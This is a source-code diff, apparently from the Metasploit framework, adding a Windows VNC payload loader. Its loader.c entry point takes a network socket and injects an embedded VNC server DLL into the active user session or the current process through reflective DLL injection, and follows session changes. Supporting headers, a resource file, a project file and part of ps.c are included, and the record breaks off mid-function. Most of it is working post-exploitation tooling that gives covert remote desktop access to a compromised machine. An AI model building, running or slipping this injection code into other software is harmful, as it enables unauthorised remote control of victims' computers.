RemoteAgentContext.dictionaries[i] = NULL;
|
||||
}*/
|
||||
|
||||
// Write the ctx to memory...
|
||||
if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) )
|
||||
BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" )
|
||||
|
||||
hAgentProcess = hProcess;
|
||||
|
||||
_snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( dwResult != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" );
|
||||
CLOSE_HANDLE( hAgentCloseEvent );
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Close the various global handles we created for the agent..
|
||||
*/
|
||||
VOID loader_agent_close( VOID )
|
||||
{
|
||||
CLOSE_HANDLE( hAgentCloseEvent );
|
||||
CLOSE_HANDLE( hAgentProcess );
|
||||
}
|
||||
|
||||
/*
|
||||
* A post injection hook called after our dll has been injected into a process.
|
||||
*/
|
||||
DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult )
|
||||
{
|
||||
do
|
||||
{
|
||||
// if we have successfully injected, run the io thread and return
|
||||
if( dwInjectResult == ERROR_SUCCESS )
|
||||
{
|
||||
// we only want the agent to do the RFB initilization once (for the remote viewer)
|
||||
if( AgentContext.bInit )
|
||||
AgentContext.bInit = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
// but if injection failed close the process handle
|
||||
CLOSE_HANDLE( hProcess );
|
||||
|
||||
loader_agent_close();
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return dwInjectResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Entry Point.
|
||||
*/
|
||||
DWORD Init( SOCKET s )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bTerminate = FALSE;
|
||||
HANDLE hMessageThread = NULL;
|
||||
DLL_BUFFER VncDllBuffer = {0};
|
||||
char cCommandLine[MAX_PATH] = {0};
|
||||
DWORD dwHostSessionId = 0;
|
||||
DWORD dwActiveSessionId = 0;
|
||||
DWORD dwAgentSessionId = 0xFFFFFFFF;
|
||||
BYTE bFlags = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
// We maintain state for the rfb stream so as not to desynchronize the remote
|
||||
// client after session switching and the injection of multiple agents server side.
|
||||
context_init();
|
||||
|
||||
sock = s;
|
||||
if( sock == INVALID_SOCKET )
|
||||
BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER );
|
||||
|
||||
if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" );
|
||||
|
||||
if( bFlags & VNCFLAG_DISABLECOURTESYSHELL )
|
||||
AgentContext.bDisableCourtesyShell = TRUE;
|
||||
|
||||
if( bFlags & VNCFLAG_DISABLESESSIONTRACKING )
|
||||
bDisableSessionTracking = TRUE;
|
||||
|
||||
dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags );
|
||||
|
||||
// get the vnc dll we will inject into the active session
|
||||
if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" );
|
||||
|
||||
// create a socket event and have it signaled on FD_CLOSE
|
||||
hSocketCloseEvent = WSACreateEvent();
|
||||
if( hSocketCloseEvent == WSA_INVALID_EVENT )
|
||||
BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" );
|
||||
|
||||
if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" );
|
||||
|
||||
// get the session id that our host process belongs to
|
||||
dwHostSessionId = session_id( GetCurrentProcessId() );
|
||||
|
||||
hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL );
|
||||
if( !hMessageThread )
|
||||
BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" );
|
||||
|
||||
// loop untill the remote client closes the connection, creating a vnc
|
||||
// server agent inside the active session upon the active session changing
|
||||
while( !bTerminate )
|
||||
{
|
||||
// in case we have been waiting for a session to attach to the physical
|
||||
// console and the remote client has quit, we detect this here...
|
||||
if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 )
|
||||
{
|
||||
dprintf( "[LOADER] Init. Remote socket closed, terminating1..." );
|
||||
break;
|
||||
}
|
||||
|
||||
// get the session id for the interactive session
|
||||
dwActiveSessionId = session_activeid();
|
||||
|
||||
// test if there is no session currently attached to the physical console...
|
||||
if( dwActiveSessionId == 0xFFFFFFFF )
|
||||
{
|
||||
dprintf( "[LOADER] Init. no session currently attached to the physical console..." );
|
||||
// just try to wait it out...
|
||||
Sleep( 250 );
|
||||
continue;
|
||||
}
|
||||
else if( dwActiveSessionId == dwAgentSessionId )
|
||||
{
|
||||
dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." );
|
||||
// just try to wait it out...
|
||||
Sleep( 250 );
|
||||
continue;
|
||||
}
|
||||
|
||||
// do the local process or session injection
|
||||
if( dwHostSessionId != dwActiveSessionId )
|
||||
{
|
||||
dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId );
|
||||
if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS )
|
||||
BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED );
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId );
|
||||
if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS )
|
||||
BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED );
|
||||
}
|
||||
|
||||
dwAgentSessionId = dwActiveSessionId;
|
||||
|
||||
// loop, waiting for either the agents process to die, the remote socket to die or
|
||||
// the active session to change...
|
||||
while( TRUE )
|
||||
{
|
||||
HANDLE hEvents[2] = {0};
|
||||
DWORD dwWaitResult = 0;
|
||||
|
||||
// wait for these event to be signaled or a timeout to occur...
|
||||
hEvents[0] = hSocketCloseEvent;
|
||||
hEvents[1] = hAgentProcess;
|
||||
dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 );
|
||||
|
||||
// bail if we have somehow failed (e.g. invalid handle)
|
||||
if( dwWaitResult == WAIT_FAILED )
|
||||
{
|
||||
dprintf( "[LOADER] Init. WaitForMultipleObjects failed." );
|
||||
// if we cant synchronize we bail out...
|
||||
bTerminate = TRUE;
|
||||
break;
|
||||
}
|
||||
// if we have just timedout, test the current active session...
|
||||
else if( dwWaitResult == WAIT_TIMEOUT )
|
||||
{
|
||||
// if the agent is still in the active session just continue...
|
||||
if( dwAgentSessionId == session_activeid() )
|
||||
continue;
|
||||
// if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage)
|
||||
if( bDisableSessionTracking )
|
||||
{
|
||||
dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." );
|
||||
Sleep( 500 );
|
||||
continue;
|
||||
}
|
||||
// if the agent is no longer in the active session we signal the agent to terminate
|
||||
if( !ReleaseMutex( hAgentCloseEvent ) )
|
||||
dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() );
|
||||
dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." );
|
||||
dwAgentSessionId = 0xFFFFFFFF;
|
||||
// and we go inject a new agent into the new active session (or terminate if session tracking disabled)
|
||||
loader_agent_close();
|
||||
break;
|
||||
}
|
||||
// sanity check the result for an abandoned mutex
|
||||
else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) )
|
||||
{
|
||||
dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 );
|
||||
bTerminate = TRUE;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise if we have an event signaled, handle it
|
||||
switch( dwWaitResult - WAIT_OBJECT_0 )
|
||||
{
|
||||
case 0:
|
||||
dprintf( "[LOADER] Init. Remote socket closed, terminating2..." );
|
||||
bTerminate = TRUE;
|
||||
if( !ReleaseMutex( hAgentCloseEvent ) )
|
||||
dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() );
|
||||
ReleaseMutex( hAgentCloseEvent );
|
||||
break;
|
||||
case 1:
|
||||
dprintf( "[LOADER] Init. Injected agent's process has terminated..." );
|
||||
loader_agent_close();
|
||||
dwAgentSessionId = 0xFFFFFFFF;
|
||||
break;
|
||||
default:
|
||||
dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult );
|
||||
bTerminate = TRUE;
|
||||
if( !ReleaseMutex( hAgentCloseEvent ) )
|
||||
dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() );
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// get out of this loop...
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
CLOSE_HANDLE( hSocketCloseEvent );
|
||||
|
||||
loader_agent_close();
|
||||
|
||||
closesocket( sock );
|
||||
|
||||
if( hMessageThread )
|
||||
TerminateThread( hMessageThread, 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" );
|
||||
}
|
||||
|
||||
dprintf( "[LOADER] Init. Finished." );
|
||||
|
||||
return dwResult;
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_LOADER_H
|
||||
#define _VNCDLL_LOADER_LOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <winuser.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
//#define DEBUGTRACE
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
FILE * fp = fopen("c:\\debug_log_loader.txt","a");
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n\x00");
|
||||
if(fp)
|
||||
{
|
||||
fputs( buffer, fp );
|
||||
fclose(fp);
|
||||
}
|
||||
OutputDebugString(buffer);
|
||||
}
|
||||
#else
|
||||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
// Simple macro to close a handle and set the handle to NULL.
|
||||
#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; }
|
||||
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
|
||||
#define IDR_VNC_DLL 1
|
||||
|
||||
typedef DWORD (WINAPI * NTQUERYINFORMATIONPROCESS)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,6 @@
|
|||
|
||||
#ifdef _X64_
|
||||
IDR_VNC_DLL IMG DISCARDABLE "../winvnc/x64/release/vnc.x64.dll"
|
||||
#else
|
||||
IDR_VNC_DLL IMG DISCARDABLE "../winvnc/release/vnc.dll"
|
||||
#endif
|
|
@ -0,0 +1,437 @@
|
|||
<?xml version="1.0" encoding="Windows-1252"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="9.00"
|
||||
Name="loader"
|
||||
ProjectGUID="{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}"
|
||||
RootNamespace="loader"
|
||||
Keyword="Win32Proj"
|
||||
TargetFrameworkVersion="196613"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
<Platform
|
||||
Name="x64"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="4"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="2"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="2"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
UseOfMFC="1"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
EnableIntrinsicFunctions="true"
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
CompileAs="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
PreprocessorDefinitions="_X86_"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalDependencies="Advapi32.lib ws2_32.lib User32.lib"
|
||||
OutputFile="release\vncdll.dll"
|
||||
LinkIncremental="1"
|
||||
GenerateManifest="false"
|
||||
GenerateDebugInformation="false"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
RandomizedBaseAddress="1"
|
||||
DataExecutionPrevention="1"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy /y "release\vncdll.dll" "..\output\""
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
UseOfMFC="1"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
EnableIntrinsicFunctions="true"
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
CompileAs="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
PreprocessorDefinitions="_X64_"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalDependencies="Advapi32.lib ws2_32.lib User32.lib"
|
||||
OutputFile="release\vncdll.x64.dll"
|
||||
LinkIncremental="1"
|
||||
GenerateManifest="false"
|
||||
GenerateDebugInformation="false"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
RandomizedBaseAddress="1"
|
||||
DataExecutionPrevention="1"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy /y "release\vncdll.x64.dll" "..\output\""
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\context.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\loader.c"
|
||||
>
|
||||
</File>
|
||||
<Filter
|
||||
Name="rdi"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\LoadLibraryR.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\ReflectiveLoader.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="core"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\inject.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\ps.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\session.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\context.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\loader.h"
|
||||
>
|
||||
</File>
|
||||
<Filter
|
||||
Name="rdi"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\LoadLibraryR.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\ReflectiveDLLInjection.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\ReflectiveLoader.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="core"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\inject.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\ps.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\session.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Resource Files"
|
||||
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
|
||||
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\loader.rc"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
|
@ -0,0 +1,184 @@
|
|||
#include "loader.h"
|
||||
#include "ps.h"
|
||||
#include "session.h"
|
||||
#include "inject.h"
|
||||
|
||||
/*
|
||||
* Get the arch type (either x86 or x64) for a given PE (either PE32 or PE64) DLL image.
|
||||
*/
|
||||
DWORD ps_getarch_dll( LPVOID lpDllBuffer )
|
||||
{
|
||||
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
|
||||
PIMAGE_NT_HEADERS pNtHeader = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
if( !lpDllBuffer )
|
||||
break;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
pNtHeader = (PIMAGE_NT_HEADERS)( ((UINT_PTR)lpDllBuffer) + ((PIMAGE_DOS_HEADER)lpDllBuffer)->e_lfanew );
|
||||
|
||||
if( pNtHeader->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
dwDllArch = PROCESS_ARCH_X86;
|
||||
else if( pNtHeader->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
dwDllArch = PROCESS_ARCH_X64;
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return dwDllArch;
|
||||
}
|
||||
|
||||
/*
|
||||
* Inject a DLL into another process via Reflective DLL Injection.
|
||||
*/
|
||||
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer )
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
DWORD dwPidArch = PROCESS_ARCH_UNKNOWN;
|
||||
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
|
||||
LPVOID lpDllBuffer = NULL;
|
||||
DWORD dwDllLenght = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !pDllBuffer )
|
||||
BREAK_WITH_ERROR( "[PS] ps_inject_dll. No Dll buffer specified", ERROR_INVALID_PARAMETER );
|
||||
|
||||
dwPidArch = ps_getarch( dwPid );
|
||||
|
||||
if( dwPidArch == PROCESS_ARCH_X86 )
|
||||
{
|
||||
lpDllBuffer = pDllBuffer->lpPE32DllBuffer;
|
||||
dwDllLenght = pDllBuffer->dwPE32DllLenght;
|
||||
}
|
||||
else if( dwPidArch == PROCESS_ARCH_X64 )
|
||||
{
|
||||
lpDllBuffer = pDllBuffer->lpPE64DllBuffer;
|
||||
dwDllLenght = pDllBuffer->dwPE64DllLenght;
|
||||
}
|
||||
else
|
||||
{
|
||||
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine target pid arhitecture", ERROR_INVALID_DATA );
|
||||
}
|
||||
|
||||
